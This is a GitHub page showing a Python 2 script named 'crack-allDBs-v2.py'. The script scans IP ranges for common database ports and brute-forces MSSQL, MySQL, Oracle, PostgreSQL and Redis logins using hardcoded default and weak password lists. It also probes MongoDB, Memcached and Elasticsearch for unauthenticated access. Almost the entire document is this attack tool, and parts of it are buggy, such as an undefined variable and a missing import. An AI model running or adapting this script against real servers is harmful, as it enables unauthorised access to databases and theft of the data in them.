forked from d3ckx1/Crack-allDBs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcrack-allDBs-v2.py
281 lines (202 loc) · 11.6 KB
/
crack-allDBs-v2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
# /bin/env python
# -*- coding=utf-8 -*-
# 一款一键破解所有常见数据库的工具
# auther: d3ckx1
# time: 2021/04
import socket
import pymssql
import pymysql
import psycopg2
import pymongo
import sys
import time
from IPy import IP
from colorama import Fore
import threading
import requests
banner = '''
██████╗██████╗ █████╗ ██████╗██╗ ██╗ █████╗ ██╗ ██╗ ██████╗ ██████╗ ███████╗
██╔════╝██╔══██╗██╔══██╗██╔════╝██║ ██╔╝ ██╔══██╗██║ ██║ ██╔══██╗██╔══██╗██╔════╝
██║ ██████╔╝███████║██║ █████╔╝█████╗███████║██║ ██║ ██║ ██║██████╔╝███████╗
██║ ██╔══██╗██╔══██║██║ ██╔═██╗╚════╝██╔══██║██║ ██║ ██║ ██║██╔══██╗╚════██║
╚██████╗██║ ██║██║ ██║╚██████╗██║ ██╗ ██║ ██║███████╗███████╗██████╔╝██████╔╝███████║
╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝╚═════╝ ╚═════╝ ╚══════╝
v1.0 code by d3ckx1
你多学一样本事,就少说一句求人的话
'''
print banner
#各数据库端口:mysql=3306, sqlserver=1433, oracle=1521, PostgreSQL=5432, MongoDB=27017, Redis=6379, memcached=11211, Elasticsearch=9300
portlists = ['1433', '3306', '6379', '1521', '5432', '27017', '11211', '9300',]
def findservers(ip):
for i in portlists:
try:
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.settimeout(0.5)
tcpscan = (str(ip), int(i))
sock.connect(tcpscan)
print Fore.RED + " [+] IP: " + str(ip) + " TCP: " + str(i) + " is open! [+] "
ok = open("serveropen.txt", 'a+')
ok.write(str(ip) + ':'+str(i))
ok.write("\n")
ok.close()
if str(i) == "1433":
pwnmssql(ip)
elif str(i) == "3306":
pwnmysql(ip)
elif str(i) == "1521":
pwnoracle(ip)
elif str(i) == '5432':
pwnpostsql(ip)
elif str(i) == "27017":
pwnmongo(ip)
elif str(i) == "6379":
pwnredis(ip)
elif str(i) == "11211":
pwnmemcach(ip)
elif str(i) == "9300":
pwnelasticsearch(ip)
else:
pass
except:
pass
def pwnmssql(ip):
print Fore.GREEN + "~~~~~ [*] Start it MSSQL servers cracked work! [*] ~~~~~"
passwd = ["sa", 'sa123', 'sa123456', 'sa@123', 'sa@123456', '123456', '12345678', '111111', 'Passw0rd', 'qweasdzxc', 'sa123', 'password', '12345', '1234', '123', 'qwerty', 'test', 'test@123','admin@123', 'mssql','leadsec@7766',]
host = str(ip)
port = 1433
success = False
for password in passwd:
try:
db = pymssql.connect(server=host, port=port, user="sa", password=password)
success = True
if success:
print "[+] MSSQL Cracked successfully username:sa" + " password:" + password + " [+]"
except Exception, e:
pass
print Fore.YELLOW + " [-] Sorry,MSSQL was not crack it [-] "
def pwnmysql(ip):
print Fore.GREEN + "~~~~~ [*] Start it Mysql servers cracked work! [*] ~~~~~"
passwds = ['changme', 'root', 'toor', 'root@123', 'rootroot', 'root123', 'toor@123', '123456', '12345678', '111111', 'Passw0rd', 'qweasdzxc', 'admin123', 'admin888', 'administrator', 'administrator123', 'password', '12345', '1234', '123', 'qwerty','test', '1q2w3e4r', '1qaz2wsx', 'qazwsx', '123qwe', '123qaz', '0000', '1234567', '123456qwerty', 'password123', '1q2w3e', 'abc123', 'test123', '123456789', 'q1w2e3r4', 'sqlpass', 'sql123', 'sqlserver', 'iloveyou', '000000', '654321', 'passw0rd1', 'superman', '112233', 'zxcvbnm','fuckyou', 'abcd1234','woaini520', 'woaini1314', '5201314', 'admin!@', 'pass', 'p@$$w0rd', '888888', '666666','', 'mysql', 'r00t', 'p@55w0rd',]
for passs in passwds:
try:
con = pymysql.connect(str(ip), "root", passs)
print Fore.RED + "[+] MYSQL Cracked successfully username:" + user + " password:" + passs + " [+]"
con.close()
break
except :
pass
print Fore.YELLOW + " [-] Sorry,MYSQL was not crack it [-] "
def pwnoracle(ip):
print Fore.GREEN + "~~~~~ [*] Start it Orace servers cracked work! [*] ~~~~~"
users = ["sys" , "internal", "system", "scott",]
passwds = ['changme', 'root', 'manager', 'root@123', 'rootroot', 'root123', 'tiger', '123456', '12345678', '111111',
'Passw0rd', 'qweasdzxc', 'admin123', 'admin888', 'password','12345', '1234', '123', 'qwerty', '1q2w3e4r', '1qaz2wsx', 'qazwsx', '123qwe', '123qaz', '0000',
'1234567', '123456qwerty', 'password123', '1q2w3e', 'abc123', 'test123', '123456789', 'q1w2e3r4','sqlpass', 'sql123', 'sqlserver', 'iloveyou', '000000', '654321', 'passw0rd1', 'superman', '112233',
'zxcvbnm', 'oracle', 'abcd1234', 'woaini520', 'woaini1314', '5201314', 'admin!@', 'pass', 'p@$$w0rd','888888', '666666', '', 'change_on_install', 'r00t', 'p@55w0rd', ]
for user in users:
for passs in passwds:
try:
conn = cx_Oracle.connect(
user + '/' + passs + '@' + str(ip) + ':1521' + '/' + 'orcl')
print Fore.RED + "[+] Oracle Cracked successfully username:" + user + " password:" + passs + " [+]"
conn.close()
break
except Exception as e:
pass
print Fore.YELLOW + " [-] Sorry,Oracle was not crack it [-] "
def pwnpostsql(ip):
print Fore.GREEN + "~~~~~ [*] Start it PostgreSQL servers cracked work! [*] ~~~~~"
users = ["postgres", "msf",] #添加了msf的默认账户
passwds = ['changme', 'root', 'manager', 'root@123', 'rootroot', 'root123', 'tiger', '123456', '12345678', '111111',
'Passw0rd', 'qweasdzxc', 'admin123', 'admin888', 'password','12345', '1234', '123', 'qwerty', '1q2w3e4r', '1qaz2wsx', 'qazwsx', '123qwe', '123qaz', '0000',
'1234567', '123456qwerty', 'password123', '1q2w3e', 'abc123', 'test123', '123456789', 'q1w2e3r4','sqlpass', 'sql123', 'msfpass', 'adminPass', 'iloveyou', '000000', '654321', 'passw0rd1', 'superman', '112233',
'zxcvbnm', 'postsql', 'abcd1234', 'woaini520', 'woaini1314', '5201314', 'admin!@', 'pass', 'p@$$w0rd','888888', '666666', '', 'postgres', 'r00t', 'p@55w0rd', ]
for user in users:
for passs in passwds:
try:
conn = psycopg2.connect(host=str(ip), port=5432, user=user, password=passs)
print Fore.RED + "[+] PostSQL Cracked successfully username:" + user + " password:" + passs + " [+]"
conn.close()
break
except Exception as e:
pass
print Fore.YELLOW + " [-] Sorry,PostgreSQL was not crack it [-] "
def pwnmongo(ip):
print Fore.GREEN + "~~~~~ [*] Start it MongoDB servers cracked work! [*] ~~~~~"
try:
conn = pymongo.MongoClient(str(ip), 27017)
dbname = conn.database_names()
print Fore.RED + "[+] " + str(ip) + ":27017 存在MongoDB存在未授权访问 [+]"
except Exception as e:
pass
finally:
conn.close()
print Fore.YELLOW + " [-] Sorry,MongoDB was not crack it [-] "
def pwnredis(ip):
print Fore.GREEN + "~~~~~ [*] Start it Redis servers cracked work! [*] ~~~~~"
passwds = ['123456', '12345678', '111111','Passw0rd', 'qweasdzxc', 'admin123', 'admin888', 'password', '12345', '1234', '123', 'qwerty','1q2w3e4r', '1qaz2wsx', 'qazwsx', '123qwe', '123qaz', '0000', \
'1234567', '123456qwerty', 'password123', '1q2w3e', 'abc123', 'test123', '123456789', 'q1w2e3r4', 'adminPass', 'iloveyou', '000000', '654321', 'passw0rd1', 'superman', '112233', \
'zxcvbnm', 'abcd1234', 'woaini520', 'woaini1314', '5201314', 'admin!@', 'pass', 'p@$$w0rd', '888888', '666666', '', 'r00t', 'p@55w0rd', ]
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((str(ip), 6379))
s.send('INFO\r\n')
if 'redis_version' in s.recv(1024):
print Fore.RED + "[+] " + str(ip) + ":6379 存在Redis存在未授权访问 [+]"
else:
for passs in passwds:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((str(ip), 6379))
s.send('AUTH {}\r\n'.format(passs))
if '+OK' in s.recv(1024):
print Fore.RED + "[+] Redis Cracked successfully " + "password:" + passs + " [+]"
break
except Exception as e:
pass
finally:
s.close()
except Exception as e:
pass
print Fore.YELLOW + " [-] Sorry,Redis was not crack it [-] "
def pwnmemcach(ip):
print Fore.GREEN + "~~~~~ [*] Start it Memcached servers cracked work! [*] ~~~~~"
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((str(ip), 11211))
s.send('stats\r\n')
if 'version' in s.recv(1024):
print Fore.RED + "[+] " + str(ip) + ":11211 存在Memcached存在未授权访问 [+]"
s.close()
except Exception as e:
pass
print Fore.YELLOW + " [-] Sorry,Memcached was not crack it [-] "
def pwnelasticsearch(ip):
print Fore.GREEN + "~~~~~ [*] Start it Elasticsearch servers cracked work! [*] ~~~~~"
try:
url = 'http://' + str(ip) + ':9200/_cat'
r = requests.get(url, timeout=5)
if '/_cat/master' in r.content:
print Fore.RED + "[+] " + str(ip) + ":9200 存在Elasticsearch存在未授权访问 [+]"
except Exception as e:
pass
print Fore.YELLOW + " [-] Sorry,Elasticsearch was not crack it [-] "
if __name__ == '__main__':
if len(sys.argv) == 1 or sys.argv[1] == '-h':
print "Usage : python crack-allDBs.py ip.txt"
else:
localtime = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime())
print "The Scanning time is: ", localtime
print '-'*88
print Fore.GREEN + "~~~~~ [*] Start it DB's servers open work! [*] ~~~~~"
print "~~~~~ [*] please wait a moment... [*] ~~~~~"
file = open(sys.argv[1])
for urls in file.readlines():
url = urls.strip()
ips = IP(url, make_net=1) #接收传入的IP地址,加入'make_net'防止出错
for ip in ips:
t1 = threading.Thread(target=findservers(ip),args=(10,15))
t1.setDaemon(True)
t1.start()
print Fore.WHITE + "-" * 88
print " [*] Report Boss Scan complete![*] "